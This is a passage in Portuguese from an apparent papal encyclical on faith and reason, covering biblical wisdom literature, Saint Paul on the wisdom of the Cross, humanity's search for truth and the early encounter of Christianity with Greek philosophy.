sua estrada, mas percorrê-la de maneira decidida, sem obstáculos

e até ao fim, ele só o consegue se, de ânimo recto,

integrar a sua pesquisa no horizonte da fé. Por isso, a razão

e a fé não podem ser separadas, sem fazer com que o homem

perca a possibilidade de conhecer de modo adequado a si mesmo, o mundo e

Deus.

17. Não há motivo para existir concorrência entre a

razão e a fé: uma implica a outra, e cada qual tem o seu

espaço próprio de realização. Aponta nesta

direcção o livro dos Provérbios, quando exclama: «

A glória de Deus é encobrir as coisas, e a glória dos

reis é investigá-las » (25, 2). Deus e o homem estão

colocados, em seu respectivo mundo, numa relação única.

Em Deus reside a origem de tudo, n’Ele se encerra a plenitude do mistério,

e isto constitui a sua glória; ao homem, pelo contrário,

compete o dever de investigar a verdade com a razão, e nisto está

a sua nobreza. Um novo ladrilho é colocado neste mosaico pelo

Salmista, quando diz: « Quão insondáveis para mim, ó

Deus, vossos pensamentos! Quão imenso o seu número! Quisera

contá-los, são mais que as areias; se pudesse chegar ao fim,

estaria ainda convosco » (139/ 138, 17-18). O desejo de conhecer é

tão grande e comporta tal dinamismo que o coração do

homem, ao tocar o limite intransponível, suspira pela riqueza

infinita que se encontra para além deste, por intuir que nela está

contida a resposta cabal para toda a questão ainda sem resposta.

18. Podemos, pois, dizer que Israel, com a sua reflexão, soube

abrir à razão o caminho para o mistério. Na revelação

de Deus, pôde sondar em profundidade aquilo que a razão

estava procurando alcançar sem o conseguir. A partir desta forma

mais profunda de conhecimento, o Povo Eleito compreendeu que a razão

deve respeitar algumas regras fundamentais, para manifestar do melhor modo

possível a própria natureza. A primeira regra é ter

em conta que o conhecimento do homem é um caminho que não

permite descanso; a segunda nasce da consciência de que não

se pode percorrer tal caminho com o orgulho de quem pensa que tudo seja

fruto de conquista pessoal; a terceira regra funda-se no « temor de

Deus », de quem a razão deve reconhecer tanto a transcendência

soberana como o amor solícito no governo do mundo.

Quando o homem se afasta destas regras, corre o risco de falimento e

acaba por encontrar-se na condição do « insensato ».

Segundo a Bíblia, nesta insensatez encerra-se uma ameaça à

vida. É que o insensato ilude-se pensando que conhece muitas

coisas, mas, de facto, não é capaz de fixar o olhar nas

realidades essenciais. E isto impede-lhe de pôr ordem na sua mente

(cf. Prov 1, 7) e de assumir uma atitude correcta para consigo

mesmo e o ambiente circundante. Quando, depois, chega a afirmar que «

Deus não existe » (cf. Sal 1413, 1), isso revela, com

absoluta clareza, quanto seja deficiente o seu conhecimento e quão

distante esteja ele da verdade plena a respeito das coisas, da sua origem

e do seu destino.

19. Encontramos, no livro da Sabedoria, alguns textos importantes, que

iluminam ainda melhor este assunto. Lá, o autor sagrado fala de

Deus que Se dá a conhecer também através da natureza.

Para os antigos, o estudo das ciências naturais coincidia, em grande

parte, com o saber filosófico. Depois de ter afirmado que o homem,

com a sua inteligência, é capaz de « conhecer a

constituição do universo e a força dos elementos

(…), o ciclo dos anos e a posição dos astros, a natureza

dos animais mansos e os instintos dos animais ferozes » (Sab 7,

17.19-20), por outras palavras, que o homem é capaz de filosofar, o

texto sagrado dá um passo em frente muito significativo. Retomando

o pensamento da filosofia grega, à qual parece referir-se neste

contexto, o autor afirma que, raciocinando precisamente sobre a natureza,

pode-se chegar ao Criador: « Pela grandeza e beleza das criaturas,

pode-se, por analogia, chegar ao conhecimento do seu Autor » (Sab

13, 5). Reconhece-se, assim, um primeiro nível da revelação

divina, constituído pelo maravilhoso « livro da natureza »;

lendo-o com os meios próprios da razão humana, pode-se

chegar ao conhecimento do Criador. Se o homem, com a sua inteligência,

não chega a reconhecer Deus como criador de tudo, isso fica-se a

dever não tanto à falta de um meio adequado, como sobretudo

ao obstáculo interposto pela sua vontade livre e pelo seu pecado.

20. Nesta perspectiva, a razão é valorizada, mas não

superexaltada. O que ela alcança pode ser verdade, mas só

adquire pleno significado se o seu conteúdo for situado num

horizonte mais amplo, o da fé: « O Senhor é quem dirige

os passos do homem; como poderá o homem compreender o seu próprio

destino? » (Prov 20, 24). A fé, segundo o Antigo

Testamento, liberta a razão, na medida em que lhe permite alcançar

coerentemente o seu objecto de conhecimento e situá-lo naquela

ordem suprema onde tudo adquire sentido. Em resumo, pela razão o

homem alcança a verdade, porque, iluminado pela fé, descobre

o sentido profundo de tudo e, particularmente, da própria existência.

Justamente, pois, o autor sagrado coloca o início do verdadeiro

conhecimento no temor de Deus: « O temor do Senhor é o princípio

da sabedoria » (Prov 1, 7; cf. Sir 1, 14).

2. « Adquire a sabedoria, adquire a inteligência »

(Prov 4, 5)

21. Segundo o Antigo Testamento, o conhecimento não se baseia

apenas numa atenta observação do homem, do mundo e da história,

mas supõe como indispensável também uma relação

com a fé e os conteúdos da Revelação. Aqui se

concentram os desafios que o Povo Eleito teve de enfrentar e a que deu

resposta. Ao reflectir sobre esta sua condição, o homem bíblico

descobriu que não se podia compreender senão como « ser

em relação »: relação consigo mesmo, com

o povo, com o mundo e com Deus. Esta abertura ao mistério, que

provinha da Revelação, acabou por ser, para ele, a fonte dum

verdadeiro conhecimento, que permitiu à sua razão

aventurar-se em espaços infinitos, recebendo inesperadas

possibilidades de compreensão.

Segundo o autor sagrado, o esforço da investigação

não estava isento da fadiga causada pelo embate nas limitações

da razão. Sente-se isso mesmo, por exemplo, nas palavras com que o

livro dos Provérbios denuncia o cansaço provado ao tentar

compreender os misteriosos desígnios de Deus (cf. 30, 1-6).

Todavia, apesar da fadiga, o crente não desiste. E a força

para continuar o seu caminho rumo à verdade provém da

certeza de que Deus o criou como um « explorador » (cf. Coel

1, 13), cuja missão é não deixar nada sem tentar,

não obstante a contínua chantagem da dúvida.

Apoiando-se em Deus, o crente permanece, em todo o lado e sempre,

inclinado para o que é belo, bom e verdadeiro.

22. S. Paulo, no primeiro capítulo da carta aos Romanos,

ajuda-nos a avaliar melhor quanto seja incisiva a reflexão dos

Livros Sapienciais. Desenvolvendo com linguagem popular uma argumentação

filosófica, o Apóstolo exprime uma verdade profunda: através

da criação, os « olhos da mente » podem chegar ao

conhecimento de Deus. Efectivamente, através das criaturas, Ele faz

intuir à razão o seu « poder » e a sua «

divindade » (cf. Rom 1, 20). Deste modo, é atribuída

à razão humana uma capacidade tal que parece quase superar

os seus próprios limites naturais: não só ultrapassa

o âmbito do conhecimento sensorial, visto que lhe é possível

reflectir criticamente sobre o mesmo, mas, raciocinando a partir dos dados

dos sentidos, pode chegar também à causa que está na

origem de toda a realidade sensível. Em terminologia filosófica,

podemos dizer que, neste significativo texto paulino, está afirmada

a capacidade metafísica do homem.

Segundo o Apóstolo, no projecto originário da criação

estava prevista a capacidade de a razão ultrapassar comodamente o

dado sensível para alcançar a origem mesma de tudo: o

Criador. Como resultado da desobediência com que o homem escolheu

colocar-se em plena e absoluta autonomia relativamente Àquele que o

tinha criado, perdeu tal facilidade de acesso a Deus criador.

O livro do Génesis descreve de maneira figurada esta condição

do homem, quando narra que Deus o colocou no jardim do Éden, tendo

no centro « a árvore da ciência do bem e do mal »

(2, 17). O símbolo é claro: o homem não era capaz de

discernir e decidir, por si só, aquilo que era bem e o que era mal,

mas devia apelar-se a um princípio superior. A cegueira do orgulho

iludiu os nossos primeiros pais de que eram soberanos e autónomos,

podendo prescindir do conhecimento vindo de Deus. Nesta desobediência

original, eles implicaram todo o homem e mulher, causando à razão

traumas sérios que haveriam de dificultar-lhe, daí em

diante, o caminho para a verdade plena. Agora a capacidade humana de

conhecer a verdade aparece ofuscada pela aversão contra Aquele que é

fonte e origem da verdade. O próprio apóstolo S. Paulo nos

revela como, por causa do pecado, os pensamentos dos homens se tornaram «

vãos » e os seus arrazoados tortuosos e falsos (cf. Rom

1, 21-22). Os olhos da mente deixaram de ser capazes de ver

claramente: a razão foi progressivamente ficando prisioneira de si

mesma. A vinda de Cristo foi o acontecimento de salvação que

redimiu a razão da sua fraqueza, libertando-a dos grilhões

onde ela mesma se tinha algemado.

23. Deste modo, a relação do cristão com a

filosofia requer um discernimento radical. No Novo Testamento,

especialmente nas cartas de S. Paulo, aparece claramente este dado: a

contraposição entre « a sabedoria deste mundo » e

a sabedoria de Deus revelada em Jesus Cristo. A profundidade da sabedoria

revelada rompe o círculo dos nossos esquemas de reflexão

habituais, que não são minimamente capazes de exprimi-la de

forma adequada.

O início da primeira carta aos Coríntios apresenta

radicalmente este dilema. O Filho de Deus crucificado é o

acontecimento histórico contra o qual se desfaz toda a tentativa da

mente para construir, sobre razões puramente humanas, uma justificação

suficiente do sentido da existência. O verdadeiro ponto nodal, que

desafia qualquer filosofia, é a morte de Jesus Cristo na cruz.

Aqui, de facto, qualquer tentativa de reduzir o plano salvífico do

Pai a mera lógica humana está destinada à falência.

« Onde está o sábio? Onde está o erudito? Onde

está o investigador deste século? Porventura, Deus não

considerou louca a sabedoria deste mundo? » (1 Cor 1, 20) —

interroga-se enfaticamente o Apóstolo. Para aquilo que Deus quer

realizar, não basta a simples sabedoria do homem sábio,

requer-se um passo decisivo que leve ao acolhimento duma novidade radical:

« O que é louco segundo o mundo é que Deus escolheu

para confundir os sábios (…). O que é vil e desprezível

no mundo, é que Deus escolheu, como também aquelas coisas

que nada são, para destruir as que são » (1 Cor

1, 27-28). A sabedoria do homem recusa ver na própria

fragilidade o pressuposto da sua força; mas S. Paulo não

hesita em afirmar: « Quando me sinto fraco, então é que

sou forte » (2 Cor 12, 10). O homem não consegue

compreender como possa a morte ser fonte de vida e de amor, mas Deus, para

revelar o mistério do seu desígnio salvador, escolheu

precisamente o que a razão considera « loucura » e «

escândalo ». Usando a linguagem dos filósofos do seu

tempo, Paulo chega ao clímax da sua doutrina e do paradoxo que quer

exprimir: « Deus escolheu, no mundo, aquelas coisas que nada são,

para destruir as que são » (cf. 1 Cor 1, 28). Para

exprimir o carácter gratuito do amor revelado na cruz de Cristo, o

Apóstolo não tem medo de usar a linguagem mais radical que

os filósofos empregavam nas suas reflexões a respeito de

Deus. A razão não pode esgotar o mistério de amor que

a Cruz representa, mas a Cruz pode dar à razão a resposta última

que esta procura. S. Paulo coloca, não a sabedoria das palavras,

mas a Palavra da Sabedoria como critério, simultaneamente, de

verdade e de salvação.

Por conseguinte, a sabedoria da Cruz supera qualquer limite cultural que

se lhe queira impor, obrigando a abrir-se à universalidade da

verdade de que é portadora. Como é grande o desafio lançado

à nossa razão e como são enormes as vantagens que terá,

se ela se render! A filosofia, que por si mesma já é capaz

de reconhecer a necessidade do homem se transcender continuamente na busca

da verdade, pode, ajudada pela fé, abrir-se para, na « loucura

» da Cruz, acolher como genuína a crítica a quantos se

iludem de possuir a verdade, encalhando-a nas sirtes dum sistema próprio.

A relação entre a fé e a filosofia encontra, na pregação

de Cristo crucificado e ressuscitado, o escolho contra o qual pode

naufragar, mas também para além do qual pode desembocar no

oceano ilimitado da verdade. Aqui é evidente a fronteira entre a

razão e a fé, mas torna-se claro também o espaço

onde as duas se podem encontrar.

CAPÍTULO III

INTELLEGO UT CREDAM

1. Caminhar à procura da verdade

24. Nos Actos dos Apóstolos, o evangelista Lucas narra a chegada

de Paulo a Atenas, numa das suas viagens missionárias. A cidade dos

filósofos estava cheia de estátuas, que representavam vários

ídolos; e chamou-lhe a atenção um altar, que Paulo

prontamente aproveitou como motivo e base comum para iniciar o anúncio

do querigma: « Atenienses — disse ele —, vejo que sois, em

tudo, os mais religiosos dos homens. Percorrendo a vossa cidade e

examinando os vossos monumentos sagrados, até encontrei um altar

com esta inscrição: "Ao Deus desconhecido". Pois

bem! O que venerais sem conhecer, é que eu vos anuncio » (Act

17, 22-23). Partindo daqui, S. Paulo fala-lhes de Deus enquanto criador,

como Aquele que tudo transcende e a tudo dá vida. Depois continua o

seu discurso, dizendo: « Fez a partir de um só homem, todo o género

humano, para habitar em toda a face da Terra; e fixou a sequência

dos tempos e os limites para a sua habitação, a fim de que

os homens procurem a Deus e se esforcem por encontrá-Lo, mesmo

tacteando, embora não Se encontre longe de cada um de nós »

(Act 17, 26-27).

O Apóstolo põe em destaque uma verdade que a Igreja sempre

guardou no seu tesouro: no mais fundo do coração do homem,

foi semeado o desejo e a nostalgia de Deus. Recorda-o a liturgia de

Sexta-feira Santa, quando, convidando a rezar pelos que não crêem,

diz: « Deus eterno e omnipotente, criastes os homens para que Vos

procurem, de modo que só em Vós descansa o seu coração

». (22) Existe, portanto, um caminho que o homem, se quiser, pode

percorrer; o seu ponto de partida está na capacidade de a razão

superar o contingente para se estender até ao infinito.

De vários modos e em tempos diversos, o homem demonstrou que

conseguia dar voz a este seu desejo íntimo. A literatura, a música,

a pintura, a escultura, a arquitectura e outras realizações

da sua inteligência criadora tornaram-se canais de que ele se serviu

para exprimir esta sua ansiosa procura. Mas foi sobretudo a filosofia que,

de modo peculiar, recolheu este movimento, exprimindo, com os meios e

segundo as modalidades científicas que lhe são próprias,

este desejo universal do homem.

25. « Todos os homens desejam saber », (23) e o objecto próprio

deste desejo é a verdade. A própria vida quotidiana

demonstra o interesse que tem cada um em descobrir, para além do

que ouve, a realidade das coisas. Em toda a criação visível,

o homem é o único ser que é capaz não só

de saber, mas também de saber que sabe, e por isso se interessa

pela verdade real daquilo que vê. Ninguém pode sinceramente

ficar indiferente quanto à verdade do seu saber. Se descobre que é

falso, rejeita-o; se, pelo contrário, consegue certificar-se da sua

verdade, sente-se satisfeito. É a lição que nos dá

Santo Agostinho, quando escreve: « Encontrei muitos com desejos de

enganar outros, mas não encontrei ninguém que quisesse ser

enganado ». (24) Considera-se, justamente, que uma pessoa alcançou

a idade adulta, quando consegue discernir, por seus próprios meios,

entre aquilo que é verdadeiro e o que é falso, formando um

juízo pessoal sobre a realidade objectiva das coisas. Está

aqui o motivo de muitas pesquisas, particularmente no campo das ciências,

que levaram, nos últimos séculos, a resultados tão

significativos, favorecendo realmente o progresso da humanidade inteira.

E a pesquisa é tão importante no campo teórico,

como no âmbito prático: ao referir-me a este, desejo aludir à

procura da verdade a respeito do bem que se deve realizar. Com efeito, graças

precisamente ao agir ético, a pessoa, se actuar segundo a sua livre

e recta vontade, entra pela estrada da felicidade e encaminha-se para a

perfeição. Também neste caso, está em questão

a verdade. Reafirmei esta convicção na carta encíclica

Veritatis splendor: « Não há moral sem

liberdade (…). Se existe o direito de ser respeitado no próprio

caminho em busca da verdade, há ainda antes a obrigação

moral grave para cada um de procurar a verdade e de aderir a ela, uma vez

conhecida ». (25)

Por isso, é necessário que os valores escolhidos e

procurados na vida sejam verdadeiros, porque só estes é que

podem aperfeiçoar a pessoa, realizando a sua natureza. Não é

fechando-se em si mesmo que o homem encontra esta verdade dos valores, mas

abrindo-se para a receber mesmo de dimensões que o transcendem.

Esta é uma condição necessária para que cada

um se torne ele mesmo e cresça como pessoa adulta e madura.

26. Ao princípio, a verdade apresenta-se ao homem sob forma

interrogativa: A vida tem um sentido? Para onde se dirige? À

primeira vista, a existência pessoal poderia aparecer radicalmente

sem sentido. Não é preciso recorrer aos filósofos do

absurdo, nem às perguntas provocatórias que se encontram no

livro de Job para duvidar do sentido da vida. A experiência

quotidiana do sofrimento, pessoal e alheio, e a observação

de muitos factos, que à luz da razão se revelam inexplicáveis,

bastam para tornar iniludível um problema tão dramático

como é a questão do sentido da vida. (26) A isto se deve

acrescentar que a primeira verdade absolutamente certa da nossa existência,

para além do facto de existirmos, é a inevitabilidade da

morte. Perante um dado tão desconcertante como este, impõe-se

a busca de uma resposta exaustiva. Cada um quer, e deve, conhecer a

verdade sobre o seu fim. Quer saber se a morte será o termo

definitivo da sua existência, ou se algo permanece para além

da morte; se pode esperar uma vida posterior, ou não. É

significativo que o pensamento filosófico tenha recebido, da morte

de Sócrates, uma orientação decisiva que o marcou

durante mais de dois milénios. Certamente não é por

acaso que os filósofos, perante a realidade da morte, sempre voltam

a pôr-se este problema, associado à questão do sentido

da vida e da imortalidade.

27. A tais questões, não pode esquivar-se ninguém —

nem o filósofo, nem o homem comum. E, da resposta que se lhes der,

deriva uma orientação decisiva da investigação:

a possibilidade, ou não, de alcançar uma verdade universal.

Por si mesma qualquer verdade, mesmo parcial, se realmente é

verdade, apresenta-se como universal e absoluta. Aquilo que é

verdadeiro deve ser verdadeiro sempre e para todos. Contudo, para além

desta universalidade, o homem procura um absoluto que seja capaz de dar

resposta e sentido a toda a sua pesquisa: algo de definitivo, que sirva de

fundamento a tudo o mais. Por outras palavras, procura uma explicação

definitiva, um valor supremo, para além do qual não existam,

nem possam existir, ulteriores perguntas ou apelos. As hipóteses

podem seduzir, mas não saciam. Para todos, chega o momento em que,

admitam-no ou não, há necessidade de ancorar a existência

a uma verdade reconhecida como definitiva, que forneça uma certeza

livre de qualquer dúvida.

Os filósofos procuraram, ao longo dos séculos, descobrir e

exprimir tal verdade, criando um sistema ou uma escola de pensamento. Mas,

para além dos sistemas filosóficos, existem outras expressões

nas quais o homem procura formular a sua « filosofia »: trata-se

de convicções ou experiências pessoais, tradições

familiares e culturais, ou itinerários existenciais vividos sob a

autoridade de um mestre. A cada uma destas manifestações,

subjaz sempre vivo o desejo de alcançar a certeza da verdade e do

seu valor absoluto.

2. Os diferentes rostos da verdade do homem

28. Há que reconhecer que a busca da verdade nem sempre se

desenrola com a referida transparência e coerência de raciocínio.

Muitas vezes, as limitações naturais da razão e a

inconstância do coração ofuscam e desviam a pesquisa

pessoal. Outros interesses de vária ordem podem sobrepor-se à

verdade. Acontece também que o próprio homem a evite, quando

começa a entrevê-la, porque teme as suas exigências.

Apesar disto, mesmo quando a evita, é sempre a verdade que preside à

sua existência. Com efeito, nunca poderia fundar a sua vida sobre a

dúvida, a incerteza ou a mentira; tal existência estaria

constantemente ameaçada pelo medo e a angústia. Assim,

pode-se definir o homem como aquele que procura a verdade.

29. É impensável que uma busca, tão profundamente

radicada na natureza humana, possa ser completamente inútil e vã.

A própria capacidade de procurar a verdade e fazer perguntas

implica já uma primeira resposta. O homem não começaria

a procurar uma coisa que ignorasse totalmente ou considerasse

absolutamente inatingível. Só a previsão de poder

chegar a uma resposta é que consegue induzi-lo a dar o primeiro

passo. De facto, assim sucede normalmente na pesquisa científica.

Quando o cientista, depois de ter uma intuição, se lança

à procura da explicação lógica e empírica

dum certo fenómeno, fá-lo porque tem a esperança,

desde o início, de encontrar uma resposta, e não se dá

por vencido com os insucessos. Nem considera inútil a intuição

inicial, só porque não alcançou o seu objectivo; dirá

antes, e justamente, que não encontrou ainda a resposta adequada.

O mesmo deve valer também para a busca da verdade no âmbito

das questões últimas. A sede de verdade está tão

radicada no coração do homem que, se tivesse de prescindir

dela, a sua existência ficaria comprometida. Basta observar a vida

de todos os dias para constatar como dentro de cada um de nós se

sente o tormento de algumas questões essenciais e, ao mesmo tempo,

se guarda na alma, pelo menos, o esboço das respectivas respostas.

São respostas de cuja verdade estamos convencidos, até

porque notamos que não diferem substancialmente das respostas a que

muitos outros chegaram. Por certo, nem toda a verdade adquirida possui o

mesmo valor; todavia, o conjunto dos resultados alcançados confirma

a capacidade que o ser humano, em princípio, tem de chegar à

verdade.

30. Convém, agora, fazer uma rápida menção

das diversas formas de verdade. As mais numerosas são as verdades

que assentam em evidências imediatas ou recebem confirmação

da experiência: esta é a ordem própria da vida

quotidiana e da pesquisa científica. Nível diverso ocupam as

verdades de carácter filosófico, que o homem alcança

através da capacidade especulativa do seu intelecto. Por último,

existem as verdades religiosas, que de algum modo têm as suas raízes

também na filosofia; estão contidas nas respostas que as

diversas religiões oferecem, nas suas tradições, às

questões últimas. (27)

Quanto às verdades filosóficas, é necessário

especificar que não se limitam só às doutrinas, por

vezes efémeras, dos filósofos profissionais. Como já

disse, todo o homem é, de certa forma, um filósofo e possui

as suas próprias concepções filosóficas, pelas

quais orienta a sua vida. De diversos modos, consegue formar uma visão

global e uma resposta sobre o sentido da própria existência:

e, à luz disso, interpreta a própria vida pessoal e regula o

seu comportamento. É aqui que deveria colocar-se a questão

da relação entre as verdades filosófico-religiosas e

a verdade revelada em Jesus Cristo. Antes de responder a tal questão,

é preciso ter em conta outro dado da filosofia.

31. O homem não foi criado para viver sozinho. Nasce e cresce

numa família, para depois se inserir, pelo seu trabalho, na

sociedade. Assim a pessoa aparece integrada, desde o seu nascimento, em várias

tradições; delas recebe não apenas a linguagem e a

formação cultural, mas também muitas verdades nas

quais acredita quase instintivamente. Entretanto, o crescimento e a maturação

pessoal implicam que tais verdades possam ser postas em dúvida e

avaliadas através da actividade crítica própria do

pensamento. Isto não impede que, uma vez passada esta fase, aquelas

mesmas verdades sejam « recuperadas » com base na experiência

feita ou em virtude de sucessiva ponderação. Apesar disso,

na vida duma pessoa, são muito mais numerosas as verdades

simplesmente acreditadas que aquelas adquiridas por verificação

pessoal. Na realidade, quem seria capaz de avaliar criticamente os inumeráveis

resultados das ciências, sobre os quais se fundamenta a vida

moderna? Quem poderia, por conta própria, controlar o fluxo de

informações, recebidas diariamente de todas as partes do

mundo e que, por princípio, são aceites como verdadeiras?

Enfim, quem poderia percorrer novamente todos os caminhos de experiência

e pensamento, pelos quais se foram acumulando os tesouros de sabedoria e

religiosidade da humanidade? Portanto, o homem, ser que busca a verdade, é

também aquele que vive de crenças.

32. Cada um, quando crê, confia nos conhecimentos adquiridos por

outras pessoas. Neste acto, pode-se individuar uma significativa tensão:

por um lado, o conhecimento por crença apresenta-se como uma forma

imperfeita de conhecimento, que precisa de se aperfeiçoar

progressivamente por meio da evidência alcançada pela própria

pessoa; por outro lado, a crença é muitas vezes mais rica,

humanamente, do que a simples evidência, porque inclui a relação

interpessoal, pondo em jogo não apenas as capacidades cognoscitivas

do próprio sujeito, mas também a sua capacidade mais radical

de confiar noutras pessoas, iniciando com elas um relacionamento mais estável

e íntimo.

Importa sublinhar que as verdades procuradas nesta relação

interpessoal não são primariamente de ordem empírica

ou de ordem filosófica. O que se busca é sobretudo a verdade

da própria pessoa: aquilo que ela é e o que manifesta do seu

próprio íntimo. De facto, a perfeição do homem

não se reduz apenas à aquisição do

conhecimento abstracto da verdade, mas consiste também numa relação

viva de doação e fidelidade ao outro. Nesta fidelidade que

leva à doação, o homem encontra plena certeza e

segurança. Ao mesmo tempo, porém, o conhecimento por crença,

que se fundamenta na confiança interpessoal, tem a ver também

com a verdade: de facto, acreditando, o homem confia na verdade que o

outro lhe manifesta.

Quantos exemplos se poderiam aduzir para ilustrar este dado! O primeiro

que me vem ao pensamento é o testemunho dos mártires. Com

efeito, o mártir é a testemunha mais genuína da

verdade da existência. Ele sabe que, no seu encontro com Jesus

Cristo, alcançou a verdade a respeito da sua vida, e nada nem ninguém

poderá jamais arrancar-lhe esta certeza. Nem o sofrimento, nem a

morte violenta poderão fazê-lo retroceder da adesão à

verdade que descobriu no encontro com Cristo. Por isso mesmo é que,

até agora, o testemunho dos mártires atrai, gera consenso, é

escutado e seguido. Esta é a razão pela qual se tem confiança

na sua palavra: descobre-se neles a evidência dum amor que não

precisa de longas demonstrações para ser convincente, porque

fala daquilo que cada um, no mais fundo de si mesmo, já sente como

verdadeiro e que há tanto tempo procurava. Em resumo, o mártir

provoca em nós uma profunda confiança, porque diz aquilo que

já sentimos e torna evidente aquilo que nós mesmos queríamos

ter a força de dizer.

33. Deste modo, foi possível completar progressivamente os dados

do problema. O homem, por sua natureza, procura a verdade. Esta busca não

se destina apenas à conquista de verdades parciais, físicas

ou científicas; não busca só o verdadeiro bem em cada

um das suas decisões. Mas a sua pesquisa aponta para uma verdade

superior, que seja capaz de explicar o sentido da vida; trata-se, por

conseguinte, de algo que não pode desembocar senão no

absoluto. (28) Graças às capacidades de que está

dotado o seu pensamento, o homem pode encontrar e reconhecer uma tal

verdade. Sendo esta vital e essencial para a sua existência,

chega-se a ela não só por via racional, mas também

através de um abandono fiducial a outras pessoas que possam

garantir a certeza e autenticidade da verdade. A capacidade e a decisão

de confiar o próprio ser e existência a outra pessoa

constituem, sem dúvida, um dos actos antropologicamente mais

significativos e expressivos.

É bom não esquecer que também a razão, na

sua busca, tem necessidade de ser apoiada por um diálogo confiante

e uma amizade sincera. O clima de suspeita e desconfiança, que por

vezes envolve a pesquisa especulativa, ignora o ensinamento dos filósofos

antigos, que punham a amizade como um dos contextos mais adequados para o

recto filosofar.

Do que ficou dito conclui-se que o homem se encontra num caminho de

busca, humanamente infindável: busca da verdade e busca duma pessoa

em quem poder confiar. A fé cristã vem em sua ajuda,

dando-lhe a possibilidade concreta de ver realizado o objectivo dessa

busca. De facto, superando o nível da simples crença, ela

introduz o homem naquela ordem da graça que lhe consente participar

no mistério de Cristo, onde lhe é oferecido o conhecimento

verdadeiro e coerente de Deus Uno e Trino. Deste modo, em Jesus Cristo,

que é a Verdade, a fé reconhece o apelo último

dirigido à humanidade, para que possa tornar realidade o que

experimenta como desejo e nostalgia.

34. Esta verdade, que Deus nos revela em Jesus Cristo, não está

em contraste com as verdades que se alcançam filosofando. Pelo

contrário, as duas ordens de conhecimento conduzem à verdade

na sua plenitude. A unidade da verdade já é um postulado

fundamental da razão humana, expresso no princípio de não-contradição.

A Revelação dá a certeza desta unidade, ao mostrar

que Deus criador é também o Deus da história da salvação.

Deus que fundamenta e garante o carácter inteligível e

racional da ordem natural das coisas, sobre o qual os cientistas se apoiam

confiadamente, (29) é o mesmo que Se revela como Pai de nosso

Senhor Jesus Cristo. Esta unidade da verdade, natural e revelada, encontra

a sua identificação viva e pessoal em Cristo, como recorda o

apóstolo Paulo: « A verdade que existe em Jesus » (Ef

4, 21; cf. Col 1, 15-20). Ele é a Palavra eterna,

na qual tudo foi criado, e ao mesmo tempo é a Palavra encarnada

que, com toda a sua pessoa,30 revela o Pai (cf. Jo 1, 14.18).

Aquilo que a razão humana procura « sem o conhecer » (cf.

Act 17, 23), só pode ser encontrado por meio de Cristo: de

facto, o que n’Ele se revela é a « verdade plena » (cf.

Jo 1, 14-16) de todo o ser que, n’Ele e por Ele, foi criado e, por

isso mesmo, n’Ele encontra a sua realização (cf. Col

1, 17).

35. Tendo estas considerações gerais como pano de fundo, é

necessário agora examinar, de maneira mais directa, a relação

entre a verdade revelada e a filosofia. Tal relação requer

uma dupla consideração, visto que a verdade que nos vem da

Revelação tem de ser, simultaneamente, compreendida pela luz

da razão. Só nesta dupla acepção é que

será possível especificar a justa relação da

verdade revelada com o saber filosófico. Por isso, vamos

considerar, em primeiro lugar, as relações entre a fé

e a filosofia ao longo da história, donde será possível

individuar alguns princípios, que constituem os pontos de referência

aos quais recorrer para estabelecer a correcta relação entre

as duas ordens de conhecimento.

CAPÍTULO IV

A RELAÇÃO ENTRE A FÉ E A RAZÃO

1. As etapas significativas do encontro entre a fé e a

razão

36. Os Actos dos Apóstolos testemunham que o anúncio cristão

se encontrou, desde os seus primórdios, com as correntes filosóficas

do tempo. Lá se refere a discussão que S. Paulo teve com «

alguns filósofos epicuristas e estóicos » (17, 18). A

análise exegética do discurso no Areópago evidenciou

repetidas alusões a ideias populares, predominantemente de origem

estóica. Certamente isso não se deu por acaso; os primeiros

cristãos, para se fazerem compreender pelos pagãos, não

podiam citar apenas « Moisés e os profetas » nos seus

discursos, mas tinham de servir-se também do conhecimento natural

de Deus e da voz da consciência moral de cada homem (cf. Rom 1,

19-21; 2, 14-15; Act 14, 16-17). Como, porém, na religião

pagã, esse conhecimento natural tinha degenerado em idolatria (cf.

Rom 1, 21-32), o Apóstolo considerou mais prudente ligar o

seu discurso ao pensamento dos filósofos, que desde o início

tinham contraposto, aos mitos e cultos mistéricos, conceitos mais

respeitosos da transcendência divina.

De facto, um dos cuidados que mais a peito tiveram os filósofos

do pensamento clássico, foi purificar de formas mitológicas

a concepção que os homens tinham de Deus. Bem sabemos que a

religião grega, como grande parte das religiões cósmicas,

era politeísta, chegando a divinizar até coisas e fenómenos

da natureza. As tentativas do homem para compreender a origem dos deuses

e, nestes, a do universo tiveram a sua primeira expressão na

poesia. As teogonias permanecem, até hoje, o primeiro testemunho

desta investigação do homem. Os pais da filosofia tiveram

por missão mostrar a ligação entre a razão e a

religião. Estendendo o olhar para os princípios universais,

deixaram de contentar-se com os mitos antigos e procuraram dar fundamento

racional à sua crença na divindade. Embocou-se assim uma

estrada que, saindo das antigas tradições particulares,

levava a um desenvolvimento que correspondia às exigências da

razão universal. O fim que tal desenvolvimento tinha em vista era a

verificação crítica daquilo em que se acreditava. A

primeira a ganhar com esse caminho feito foi a concepção da

divindade. As superstições acabaram por ser reconhecidas

como tais, e a religião, pelo menos em parte, foi purificada pela

análise racional. Foi nesta base que os Padres da Igreja instituíram

um diálogo fecundo com os filósofos antigos, abrindo a

estrada ao anúncio e à compreensão do Deus de Jesus

Cristo.

37. Quando se menciona este movimento de aproximação dos

cristãos à filosofia, é obrigatório recordar

também a cautela com que eles olhavam outros elementos do mundo

cultural pagão, como, por exemplo, a gnose. A filosofia, enquanto

sabedoria prática e escola de vida, podia facilmente ser confundida

com um conhecimento de tipo superior, esotérico, reservado a poucos

iluminados. É, sem dúvida, a especulações esotéricas

deste género que pensa S. Paulo, quando adverte os Colossenses: «

Vede que ninguém vos engane com falsas e vãs filosofias,

fundadas nas tradições humanas, nos elementos do mundo, e não

em Cristo » (2, 8). Como são actuais estas palavras do Apóstolo,

quando as referimos às diversas formas de esoterismo que hoje se

difundem mesmo entre alguns crentes, privados do necessário sentido

crítico! Seguindo as pegadas de S. Paulo, outros escritores dos

primeiros séculos, particularmente Santo Ireneu e Tertuliano,

puseram reservas a uma orientação cultural que pretendia

subordinar a verdade da Revelação à interpretação

dos filósofos.

38. Como vemos, o encontro do cristianismo com a filosofia não

foi fácil nem imediato. A exercitação desta e a frequência

das respectivas escolas foi vista mais vezes pelos primeiros cristãos

como transtorno, do que como uma oportunidade. Para eles, a primeira e

mais urgente missão era o anúncio de Cristo ressuscitado,

que havia de ser proposto num encontro pessoal, capaz de levar o

interlocutor à conversão do coração e ao

pedido do Baptismo. De qualquer modo, isso não significa que

ignorassem a obrigação de aprofundar a compreensão da

